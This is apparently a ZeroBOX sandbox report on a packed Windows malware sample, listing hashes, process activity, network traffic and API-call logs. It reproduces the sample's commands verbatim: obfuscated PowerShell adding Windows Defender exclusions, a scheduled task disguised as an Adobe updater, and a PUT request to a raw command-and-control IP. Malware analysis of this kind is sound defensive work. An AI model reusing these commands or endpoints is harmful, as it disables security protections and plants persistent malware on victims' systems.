Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	June 22, 2023, 11:08 a.m.	June 22, 2023, 11:12 a.m.

Size	1.5MB
Type	PE32 executable (console) Intel 80386, for MS Windows
MD5	`f09c7cd38fbc8b59264301db9c2d3991`
SHA256	`5ca29739c57c6cef856d92b3a51a2c8206ea41b2376f57590c4b3de678bae446`
CRC32	`1E9C3EF7`
ssdeep	`24576:pXf4S4R4PlsrxAjzfJ26GPFo6r/LZEKqX70xXkz4q9jTRJ69F8GtZr9+bqMwpKUi:k4PlsrxMzfJ26Gdo6r/LnqX7djWzNvI7`
Yara	UPX_Zero - UPX packed file OS_Processor_Check_Zero - OS Processor Check Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

n0cjd0kc.exe "C:\Users\test22\AppData\Local\Temp\n0cjd0kc.exe"
444
powershell.exe powershell "Start-Process <#begldwqnpds#> powershell <#begldwqnpds#> -Verb <#begldwqnpds#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
2316
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
  2452
explorer.exe C:\Windows\Explorer.EXE
1236
schtasks.exe schtasks /create /sc daily /st 14:51 /f /tn AdobeUpdateTask_MTA1 /tr "C:\ProgramData\sY2NsQjNsETOsATOsIDOsUWOsIWOsMDOsU2NsUWO\MTA1.exe"
1664
powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath "C:\ProgramData\sY2NsQjNsETOsATOsIDOsUWOsIWOsMDOsU2NsUWO\MTA1.exe" -Force
2128
schtasks.exe schtasks /create /sc daily /st 14:51 /f /tn "AppLaunch" /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2208

Name	Response	Post-Analysis Lookup
ip-api.com	A 208.95.112.1	208.95.112.1
www.microsoft.com	A 23.40.45.184 CNAME www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net CNAME www.microsoft.com-c-3.edgekey.net CNAME e13678.dscb.akamaiedge.net	23.40.45.184

IP Address	Status	Action
164.124.101.2	Active	Moloch
185.159.129.168	Active	Moloch
208.95.112.1	Active	Moloch
23.40.45.184	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49165 -> 208.95.112.1:80	2022082	ET POLICY External IP Lookup ip-api.com	Device Retrieving External IP Address Detected
TCP 23.40.45.184:80 -> 192.168.56.103:49164	2012692	ET POLICY Microsoft user-agent automated process response to automated request	Misc activity

Suricata TLS

No Suricata TLS

Queries for the computername (20 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:08 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 22, 2023, 11:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 22, 2023, 11:12 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 22, 2023, 11:08 a.m.			0	0
IsDebuggerPresent June 22, 2023, 11:08 a.m.			0	0
IsDebuggerPresent June 22, 2023, 11:12 a.m.			0	0

Command line console output was observed (50 out of 62 events)

Time & API	Arguments	Status	Return
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: C console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: W console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: n console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: w console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: M console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: t console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: E console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: T console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: F console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: a console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: m console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: w console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: k console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: v console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: L console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: a console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: n console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: h console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: x console_handle: 0x00000007	1	1
WriteConsoleA June 22, 2023, 11:08 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW June 22, 2023, 11:08 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW June 22, 2023, 11:08 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW June 22, 2023, 11:08 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW June 22, 2023, 11:08 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW June 22, 2023, 11:08 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath $env:SystemDrive -ExclusionExtension .e console_handle: 0x00000053	1	1
WriteConsoleW June 22, 2023, 11:08 a.m.	buffer: xe, .dll -Force console_handle: 0x0000005f	1	1
WriteConsoleW June 22, 2023, 11:08 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW June 22, 2023, 11:08 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 132 events)

Time & API	Arguments	Status	Return
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e80d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e7e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e7e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e7e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e7e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e7e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e7e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8298 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8918 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8b18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8598 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005e8598 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a64e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a64e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a64e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a64e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a64e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 22, 2023, 11:08 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a64e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 22, 2023, 11:08 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.Lica2

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ June 22, 2023, 11:08 a.m.	stacktrace: n0cjd0kc+0x68ae @ 0xb868ae n0cjd0kc+0x1eb94 @ 0xb9eb94 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x0 registers.esp: 4389036 registers.edi: 5578752 registers.eax: 2176 registers.ebp: 4389212 registers.edx: 2130566132 registers.ebx: 18944 registers.esi: 13590536 registers.ecx: 2052	1	0	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

PUT http://185.159.129.168/clpr/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys

Performs some HTTP requests (3 events)

request	GET http://www.microsoft.com/
request	GET http://ip-api.com/json/?fields=query,status,countryCode,city,timezone
request	PUT http://185.159.129.168/clpr/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys

Allocates read-write-execute memory (usually to unpack itself) (50 out of 467 events)

Time & API	Arguments	Status
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 444 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00cfa000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 444 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00430000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 1236 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000048f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76bd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x756f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74761000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75291000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f01000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74071000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 1376256 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02760000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02870000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d84000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0207a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02072000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02871000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02872000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0222a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0223b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02237000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73ef1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0207b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
